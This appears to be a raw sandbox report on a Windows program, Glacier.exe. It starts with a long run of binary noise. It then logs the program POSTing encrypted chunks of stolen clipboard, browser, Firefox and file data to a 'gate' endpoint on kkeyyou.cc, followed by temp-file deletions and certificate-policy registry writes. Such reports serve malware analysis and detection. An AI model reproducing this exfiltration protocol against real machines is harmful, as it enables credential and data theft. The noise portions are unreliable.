nÃð^gæ¢Ë-äÓèÝÿ4%S¯PÌ7PB1~N^-sÍ'5ÍñÓå¶æzP_ñ¯Wò#,C³*2}³\×î[ëU³a/RF©íºN¶äª÷oë·ßÇÒîþä¾tÃe§nülãì,PäiD:/ìý¥oj»0ß:qR?7,>Ýìx3é.ô0Å§,èÃ,´%¥ü+t/cÏEtPã®Ü¸ÅÛÐøSÆ÷Ò5y ]ë-·l¦¢ KeH[xü·uÈþ}lK/¿ëÿ»:ôá!&`>WowöæùwsÊtÎ°õF²ûP8k¡à¾×")RÞ+¿EJZE3>¢jWÉsæ§Î×@=Ôq\3®Ô¸P9m.:²»èBLi¤èßüc×êÂþ¬EÚófe:þ×´(/8Je(q´(¿dµC<Æ¿NÚÛ{wa¿«yÄÓó%ñm~aÚ,$$K|ÏÒ6DØ)Ö(eaRüÝVú¹Ó%Ã§÷=K¤÷¼¸X,¢ªÀT^¹ù""[ØctF`<×Äa¡-L[A¬õ®yH¥7.þÇ¸ºkµHg8EÉûOZå6ÞàKÓëÕ\Åï¬ýÂ°åÜö93ì8a©Ñ¿u©oB¿4)ôÿ¬Z&°«ÕðCÄ7$í ²ÀÏ;=Qâíc·äÇÎ1ÞÖÚhcA«(éàµ'xT: õTC#8vfe;þYk¸2öÇghþE¾yNÕn6Ê_ç,ì`iH¸eªª Çþ&9b;T¬¾rÔæâI¬Q+ÒvD·g\/òXñ»£éèë§ÃÊXàV ®µvÒ+ùZ|·û2u·Æ¤ñË¸,½ÔâjU«Æ4Þ¯8j½IkNQ=Ì4ÒL-Ûo #¾p¤¤ãçßÏ_V/sµõSü:+êCÊKó£èM¢WQfbë¹n¶(Ø®E´ãç>FÆ)|¥xÃ¶6·.Ö7;yéìî¤)HÙþ4KÜþÖØÃÁjöÅØß%£+¥ô¤HÓËz0nå¾:°ºèäL®¸$mæ?íÉh^·±`~øÆºåMØMvtþ¢Jæó0¥®¢;.Çë:r10S¶ ½7Øå $¢¾óný¸^-ä 7Îì×_ÎS&x¥ÜWÜÚêßsïrX!÷A@TòÒJDíz?{MA-Ò¢mÏAÿF~Å_¦Íò7Ó**ï{Hã½5Ö1p$£÷/ßR¡*×»òoÍC¶Ðû3w<*"gq°=ðIý¼¬¶Áí#+ªÑßl'kêNx¤Vçé·o ¾!®a¹ÑÆY< ¸¹Q C#gØóð9[êô\Â<¨MGÈ}óxQ1³ZþWYv(ÒªM1hZØMaBÄpw#[K,`Rë.ÞgIVE®'Ó,~ä» ÖæZsbDñ'&ÔpGû0¦¤frPÀc®@½p£Ãð Y6æOHuûODi)»UN0IÆ«uFíno3?Û0,$Q ]88ËøblÌWqÀb¾Ò5üHtªZZ´`æÑòr_nHDÃ_`8ÐSôxé26Ú3_Y4eËëÐUá%]@a£ì}Ë÷# ïuàíîíbÁÙ^yw5}3M4Ól¦ò)ZRð(s1Læ!ÑúQûRÀt5rìK¼dì6Y×bìðA_V ¸*JÞüà÷¥R8ûx/H*ü¡ÿØéñÓØÕ'®îH¯-Èâ©);) ¨?8ÃDFÎVIÓéºÎÌ¼¤ÆÛ6ûê³ãvêÒù§5t{mptÞÈ#S#BÍ=Áv8l5Nß[ÐÃ0ë*óæ¡^?n`µÆI-Oò÷qENØæiõõä'Âå^5é»h[z©z§µÍjA\×tÉjû£tþ&Ö/óÿs¾TZ2øùÏV¢¥ÁÎ}s_éfl¼D!0äl±ëÙu% :¹EíD\Î¯W>Æöv<;¡¥àÊ[ÈøÖaÿÎDe¦çë6^Á³½ãÓÇ¿oQívÂ¼Vd¢zj¸TÀ5ÿJzÅÐ÷$sX0ã|áuñUò">¨kaoé JmQV²ogÜú6#^ÝáãqGÔ.ÙÖÚqÛþdí¢Ùù¤üaÓ[5<'&9ßãjêã(_å¾ýð¸ÚIõþôTk!r1â%ÀÈ4`Êº?&çKrì´ ØùNqúJø7kFîdÜ.}ýöMÞ¨ ¤>rZ}BÄ|"5HÑYBàÐ8xÅÿ«ûD]ÆÝ1v"z¾¸;ümc¦>+8WV2þaf@dÀß:6ûT¶Y_4hÊ2=ç¡/«¹-,hÞ1>G}sú#OMé!äÎ/²U±l'-$êxo±}mà+ .½Ñ¼ä¼OJì<óqàvÅ¡!·¶ «jêGjX&E !=cSfÝÇ¨¬Z*y¨âÔ1¥©¹"Êp`ñqÔ ¤kÞK.³Å)3%3O$¨Ä+ùÑ&Uí×ó©.u0døÀÝèÇ²Á"Ø3_½Øc%ìÜzÇëxBlÔOÜõØ¸"q*G¨a¨%khz6#Ð4ixøÆ÷ºú0îôwô~ó5Â¨ÒMãakq~Ùú ]Wqõ²X&ûà´Kß$®\`¿B×,åøþÓíÄïw¬½©¼M¥Ê×¹Äiâ"`' È²SÚEaÈvæq ¼#ÇPJè8a&ñæµcÅÌ°×bÎAàÃ6_¼Ú;YË,Òkéh&¦·QØP"ÌYØ¼öm ¢SªJ©¼×ã"Ë®tÏÄ?à+l#í¹?H:ÆD¡È²6I*×5iñYâ1ÐVìæý>A&þ÷éÌ_mHv°:ämáGÊåê°"ë¯¢0²y#Élªjøúi¹.NÏk[õu?À7n||Ydð»YªO»°"¯*dæqmx~Î%%Ô½bó=æx,§YoËpSpÛtu°¡7!m0òýëzf&3Ý³º©<ÊÐµÆ¥îÙ&RÑtÐ²ÈáY}¿Õ~ aKllÑ ±ÂNR#îA>dêñyí~9¥¶y 0¹ý=@ãGÍ¶ëOÍb.@.Z6ÏÞ²ÐðÉ±bGzÖ_6¼ÂíÂôÑÌqdÁtÙÕ2«&Bö[µTÇä5I^,M¿fáõ³âßÆüÈ¿.=6Ô>+P<`Èlùñ)Õ|ÜµÝ¹J9G´i³aQ¤ñzÜÊ¡Ñ¢lÇþe×&út)´I$ ØI[Za®f ©a~XJWptø¼»5èX$î(|Uâÿ6naþtùZ02{¨MYØ±×=-{yç!y¯tÏémNñëÉPÚ3&ïºÆºÔÎ+@ÐÊÃóû>ys :{¢vi¨]OÚ«ugQ&Yä½³ÙnöW(µ¶øû*§ÀÉÄMâÂ" ^E¬ö¬ôÍ©,¬>=@@þ~ñq¬öbPq®AætSü[òÇöÖjêÊ&E,£úüx*~-1±Âå1ÀâÍý¶ÐÕ`ú:m[*ÁÔ5öd9ËµÕÃO7î' ö*ÞßºMjùw§RÕºÑtØzqÊ&"«IEká»égëóMt»î ð#xCMé¾bðýëöÒÕ¤ºØuÿZÊçWÇÖ?õÆ1yød42À(J+áCîÿ".Gbû¡NÓ¹_s`Ø;DLè:]k6¹BåÍÕ[ð¥bõ|2lÓEðÚ3YÁðÞ8Ó[´'@Èò7¦A(Þ7ýêI-ÊäNÝQJd:¹oó}4Nª$ffk&lÐÚ¹ÖÖÎ©ÀYØûzX9ã(ÄSûÉévHyæù·±ÔUO¥çôdxóQë¼Ë5Üÿs&ng(g«Ô°A!G¦Þ©rdáf»N°n ÕsççtòI^*CK9)uqK: P,½FÓ{$Õýëa=ÏØ;¦#hý'~iÜñ¢î:þ0æþæ´Ð;rV÷~¾1ö»ÅÉ·ßÕ2£Úïû ?:IIêÒÙJýApC¨ÅñØï¥j®JKó²8ìÆ2¾ÆúXw¼sâ 8Ü_X:¨«vôÖ) ¸züb'Û¾STÿ¢~µ`;3WÒGO0{QEõçS.üÓcjÞÉ¤èÒØi|¢´ÔÏ>Ä¤(³,<3·\Áb)`òÅ2AÔeý®qá¡wv/%¯¥:¢ü÷Êô8iÌwAXTXé jò7&J,cjÑvã«ÝÌï(&÷Â§P g5MÂQLî¢òjÚ¼npjm¨Ê¨îïâjl¼¼êQV0ú:äz$ÉFçÔã]òç×ùéåÂ+ÁÐ±±Ã5B;ùC}"h&¥3>ÄÁFÐd~wW* {×·ð>_Ýo÷ú.5%¨¬çÅ¹ïTå¨d÷Èú«¥{¡ÁÁ%Éiõ{jíÝ÷ ¢¯¥]G7¢uô¿¤PmÅR=¯ÓiùsþqÙPã~ìf[Ú(©lÄ»Ñy7®I-4³"î°{°ÿÜºedëàH´õÏ7k¶NU³yí°ÕòÇÏ±wÏwaD~ ÞÕÅJ/ç"6ÚÎn;¡¢þe|TäØñÛKoÕ) -*Þ° ëiodÜæòÜcKòÕëa()ýÆà~ï=}i{fÄ¼þK¤OêúùB´áÇ/}à²m-ÚNàÑt'ãO²öóì{ZAØ3Hzx&.<çrÁúiJ%ÊYxÝö$@¢·sôêM7>{$GyZo{æÝ{HW"5îTx÷Â¥Dþ38"s( ¦Õ*E&ÛyJÒ}$MQ3|ª[øÝ¼Ñ®=Û¤rmBÍ&mÚ¯°²Ga±J²"Ü:_5Tup£+7°-õÀ^A´"aË©SY?f üÙz´´¼9éøLÒ¼? =ÙYÉ@m/¦ô¨¿±Xö*Oï~4F4B......., "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: clipboard X-Chunk-Index: 2 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 182 Host: kkeyyou.cc" with payload::==> "Þ»×´ÔÑÊqÿ5x£ 51n°8 àÙ"¤ÏMÖ¬èvOu5^ !LéÙà°À.dã¯1]H÷#ÃðÑ¦ð2^ÎãôºÁV°6Xöÿ9µ§à]zy1ËI¿3Å0ÉïfÜX×åÕWãþa_oÙYX¤CàM!Ø¥¯Z1ÂrßlÓÑ¦}ÚÜtÕð¥@í" HTTP/1.1 200 OK Date: Fri 02 Oct 2026 19:27:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=10 cfOrigin;dur=166 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xBf85%2Bi8y0uTicZqOkEK9QqnGLK2kLCfCybR7ly1Skc5JsM8mhWn6xFYtTfF35FflxQn4BTLs%2F0KdijCDSsWb8Lk9Sbs90KGwyTEo%2FOkwGNgUa7ubhfH9HxgI0pB"}]} Server: cloudflare CF-RAY: a4461a26fcde1761-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B....... "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: browsers X-Chunk-Index: 3 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 4230 Host: kkeyyou.cc" with payload::==> "ð5AjÐ=ýÁ:*z~Ý¿ô#Æ0ÃõÕ¦YJmbÉUúí6µ±¬ÕÃ´ÎØ:Õê[ròQ¨^éº9RD iì¿»ûþý¯u¦V]²Nq£Û3ªg"nYÂÐ¥Ìóc:ÞYÏËxzJùÅ\ß¦a.½4ÉÝµÆ:Í{3{úüGä$ÎE¤SÞu~V®5Ì:8BÛQ¬¸!ç.'eÉ)ÃUSuå·òLþ_®ÿ&wyi-ÛURÄªÆ3]é<_äBÃ%Ì|áÍaà·Èúà7{wÛ]Ó¹¼ÓãìuýRÈî]ë°=p(õÊóöïÓ!D~ý?5>SL Ä}jõÑvø#"ØÕÛ²êJÓö¤Ex¿'ÔqDpþÄ-5m²¨nWºJ÷JæÞ|ÎCH{GÈì¢#´fç;º.pÂz^pú@¥Ý³÷ÔÞÕnÚáÃ)Wºÿ°×Û]ûãCõ¨WxùwÄêïöY ÕýYFB}rt¼ØåÃè7Ã;¦·É3¡óÜ3ÎP7µå¯VEÌ~rLÙ¨öxû^"_Rx·dÆ4%u¯:"F¡ê?n Âh^ÎE3Aþ÷¡5ßÛRßCº¾lo(ëM~p"ç»»úôaÎ;ëÚkÿw¤ÀgMô¾À<É&î»¨5°G/±ÒJýðv^ÑJÌKD>odª1xÙÐV.~ØxýäÝkÝyÃ;Ö?gªëGA¬1KsýÞVE¿b8ÍXð9{ßo bZ5«{\C`,ù;ùôÆ{áæø¤[hþþ1vÖ\$ÿßJÉ}ÂçÕV2°#=ûL¼|Fõ»¿AF5Ïfñè}&YWfF¶8o¼ñ+gÞ6Ødvrû¿Fø>7ôÜDýU<Ì¡.õFO;ÕÞ¼4_©¼?§öèÑrr{yME<øen`ÊM÷å!k¯i,¢T[ÂDíWØÁ×6GAôå3fÈ¨4vfaÀï`à¦¿ZÜ)îb0ZB»º1öÑé!ÿÎ|ÝlËtjuÑCñ¡Æ¹bªµaí÷¤wvÂC¾{Êúé×:²r{e4c}FôÚd)²míM5lªº·Õ2Vð§u¬òE±»¶Q½yÿúèO4HÐvÈ'rÙ{\ñÐû.¾úÅ/õÅ>Rù?«6¯`Ë«Ô,+Y¥©GhåV³sÊBð¦ÌÖ[h@æ¤ÿÞ6¨}·¨!àQÂ¼R\Ú¦¬^öp.pUX¥ûú¿ó=ìQ±¥ZZ°EòÑ¾ ²þïÏBÃCæ±sëçVºih8ãî¬ïða7~_ú/\.o®[yBçîàªxÒÇüDß¹ð@\Éò{¡dÕÏôðà$#0çÏ¶Ï5Ðb®eéLªpc'G£HÌOÇ>æ7>gÿ4ë¼i]E-¹;¤VPÜòIÜ?dKÅhßoAk±]Áã]´xBÊºÏ;uû6!7üe:w#GÄíy@åQ½<çcMQ/@ÙêÊöÃvó{ïB¢Ôg¹jÜ¬\dêÁQìS·K8&¦Jé¯$a"côTîZzÑne*ÖZip9ÜXI¹ý¥#ìHAwçLñkÌäMW-Ìno`©ú´üªË<¾^,æçéÝ.*%ü@ïc¸¤Óo"É$È pì½ãÆWÌ«^Vyêè¢M\ª½wT¹pâ\V«ÈäJ|M4bwôÊ~¬.â<ÅP)Iq¼ýð{üWÐÈ]Ég`^-·) °iâv}±Ç×übÈã( a±úL+s¼xü§xÀZ(&#NgQo7 :¸ÙÀ¥jîÎU¶¥Yt2üXÿØm?ÈµtÇjç>§zcMî©âGH1µì#ìö7ñ.?Æ8¥H-YùêêèYæHR°þ÷.Ç:#³nPÌjéHÏJ_Ä41ÆxqcÙÈ½[ÞÉ*¡QïºÑ{evî§O2éZî?z9;Ù'éöèû¶§C%DjÉ@G$µä»£§zÑÃt*~Yq%Mæþ>:)HÑ®ôpM£û¡Lç(¸m{j?Ât$8ºüôeÇFFéWßTeÓ'W|" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=12,cfOrigin;dur=159 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Aa3I3shrZB0SYmukuHB2uxHkj1UtTwoLa6Ma61v9y%2FLWY5tyyMbiANgPxAfR8owMawlhBty435oe%2BVxJ1dfThZhYwgD29jEM7V%2F3cH9OO%2BCYBwzYXVsOM%2BAEITR5"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server: cloudflare CF-RAY: a4461a3e89a7d293-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B......., "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: firefox X-Chunk-Index: 4 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 337 Host: kkeyyou.cc" with payload::==> "¶È&ÐùCRyý» \µ}Q>8ªOiÔ9ö6ÆMýC¬Iç!ÙZb´¥¿y=\ÄébKd/èH©w7¢ØYûòýÆ¤K_½â6ÜµXßmMÔdÃ1Gæ©ÒaR®iFØ³ f³ÇG#ÆÂ|ÛeQ:¹Çìí¨§7èp{Çä{m²7ÅE¦Ã/A°¤«ë_!Kòòê'i,FúPûqÈ'2ùåIÈÞ>W·B®t¸Êåt£Uµø¶/µQCþ8ah|BV©%'ØC/ÊmÝ8A@[ÁIÎò^#àËsz{×&Éª2m¯0åø(X/^¯0!úEýÐlàì_ÄKÉl8ª`ë¥6l^/Ä7" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=37,cfOrigin;dur=459 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ROf6uKaOLKBY%2BKvnH27E%2FWGk5rYtCTQLezL5KSUSU7KWNf5SbLHvG20kstTD1rT%2BVS1Bn%2FR5BGFWhk7eb2UuxmZ0D9uUk84GEWHoOz%2F9ifmY8WOC3hkaf64pU3LV"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server: cloudflare CF-RAY: a4461a427dd2d293-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B......., "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: filegraber X-Chunk-Index: 5 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 333 Host: kkeyyou.cc" with payload::==> "hb85m;$£ûdÀ¨z\Ç¿uA×r¬cfiôyÚãç½?nº¡ ^õ$6=ù^.þríöÒÞÔÑ{ú´RÚÛî"ÍÔÉ¯Í,Ûfñ¬¢û¤ó`O3_~³òCX¾±ðÂ¬eÔ×´.VOv7/¸T)RÜwõ:ð¯ê3çmÏÒñWØ$ôW&µ®Ë+Õ¦}ÓéÄ?j;¿5Nî@þÅwðtÎ«A¶.®¹WÂìlsãÙR×i6ðg/Õ¹bªÿRA+id°[Nk¨oÆ±SVy ®ýÿ!'v:×`&Á:`¯Dm[ÊfBöJ©»AmJ ðºÂÁYï·û|WÞ´6v(åÙ¯Ú7ð" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4,cfOrigin;dur=158 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=JQg%2BMAjz5%2Bn%2FEE9dGOfebkX6jtkmvNYGp5el4E%2BQUWDkRw6SCevppmK5RwdATqu6uJfHX84Avm2tjal%2FydMmYyeII9JhsMXaOKO2IaJ5DI2ctvge05vF187Dallz"}]} Server: cloudflare CF-RAY: a4461a4669d0d293-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B......., "POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Chunk: browsers_agg X-Chunk-Index: 6 X-Session: b94915774a538829a16bb9ee164367d2 X-Total: 20 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 1657 Host: kkeyyou.cc" with payload::==> "R¬Í-ð@àõÌqzü,4Ñ<+§ÌÛ(&ÕõR±.ï0'ìì*XïýlpÒÂô`îs3ùÆªL¿q#Ïj¨6Ô÷3w}K1i³1û#V/Q«¨ÙÁê¨¿¿=¶5* ÒçÛ½zÿ"4åþSBÈ65±kTÃ)Q;Kì¬e©ÏAó³¸ì£h,ºücÍ ¿tÞ>¥|=×FkËZ¶Ñ³d?@*æ»ÆÏ[B¸~ï ÊmÕ$A=ÓÎÒY d«ÿRç%×XëWdU PHÂ;ÖõgøÖÛÈi!ÙoÙµMäwkA¤ßê ´4{tAL¨oñÀ~C%VIÉl.lSMÐmYôTsÇÜ4ö¨+¨#È¥ræOn>a-§ë=~°?zq¸\oýÛsßæ¡_]xI²l³8cJ{¨k<³±íáÈ2òq¤ÖLQm¡¡Ó-¸ÃàÒ!"VJÑ.ÿ]âï3Ú«¤BËo%·m1ceÐnè¿KÖcq%¢<¾0Ùé2jµïS!±2þ?ýdãtömùFãW¦ß3xújgyÙ¸h"Tkm/êËÇ3¶FÌ¢¸hÀ¹;ñz¹s¸¸=øÏÓÓø!·SÙ»®uÔe.rÐ}vIzô4¬?i'¤£$Ù8mTéõìPò¨.×$ªª¼ÐÇVÖ94Êwìª÷ËU?wàÜªbj«e³»Ì§÷5p=;þM12ê2ù±sbÀº·#Å{4~xÈjÆ«äØh=#ÅêxóÙ¡àô¸ífÞDE¥{#Ïøh¬|{efc!@-¼~6#]4ÊÇ*Þ4o×¾ÿZ½Þå¤éþ=öèaueÆVøVà÷xß]mÉê©®`n±VÏ®Ò.r+Ì3ñÓZUjÞºÿ:çÑ,@4Èwºymfø³Dö*ÎvÉ@z6`>"M±ìOB+åø!$çXrÇBM.¬¼ÂÊYXõªgìDIÿJrÞHa¿â[Þ¿¾ó©z=ã°fJÚ|XU}pÐ½UÈÊ²LQøNEû#¹½o°fÜâùF¢ÐJ7Lé}Eàiê»Õ3¼ÍMÉ+ âPÁÕê`ïH=¾{ñKl³à¤Ëî ??Ywê½èqYþLÒ0GÃ£ )íTò#¦í¬hîÃb¤TS¨(²3Ój8äCþ¢¬Í©.H>kj!¾ßOV'ûVÅ=§~èÖlôÆY}¿j?÷á`~7ey¥ýàÄYãî¦?»0kéþt§½fRÓé÷1nV_øÁ¯-ÑÉ5Õ¢¯" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=11,cfOrigin;dur=157 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=afusOtQ8fB%2BNSCVn8UUC4RkP4tVTk4B6Yk9%2FiVjouarP9i8YPYW3ruifpcpZsV%2Bq8oW54Q8N75V%2BosTvws0QXYqSQBNeDNXgCOM%2FEdTQML5vVVB4hOs%2FMOcfKVIr"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server: cloudflare CF-RAY: a4461a47ef1ad293-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B......., "POST /gate/complete HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 0bc758f6 X-HWID: 4C319440 X-Session: b94915774a538829a16bb9ee164367d2 X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021 Content-Length: 8 Host: kkeyyou.cc" with payload::==> "COMPLETE" HTTP/1.1 200 OK Date: Fri, 02 Oct 2026 19:27:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: keep-alive cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6,cfOrigin;dur=162 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=y6dToTYJPaS96x57X7eaJkgkawPiAjUZPdd2yXRHESoARsiOIpo1fCWRBMgxy%2Fi%2BenNsuAg1jCF7ccOBDRaROuFRbF4iXtn3BdsoDoZNxX%2BIvJ7338P6vs%2BBRgSI"}]} Server: cloudflare CF-RAY: a4461a495cc2d293-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4F4B.......60:T9b5,"Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\~DF5d0a.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\~DF538a.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\~DF5f31.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_1.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_1.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_2.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ec0_2.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_3.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_3.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_4.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8ed0_4.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8eef_5.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d8eef_5.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9488_6.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9488_6.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9498_7.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d9498_7.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94a7_8.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94a7_8.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94c6_9.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94c6_9.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94e6_a.tmp-wal" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_362d94e6_a.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\akg_ff_362d9747.tmp" with delete access "Glacier.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\~DFb73.tmp" with delete access61:Tb16,"Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Glacier.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "Glacier.exe" (Access type: "CREATE"; Path: 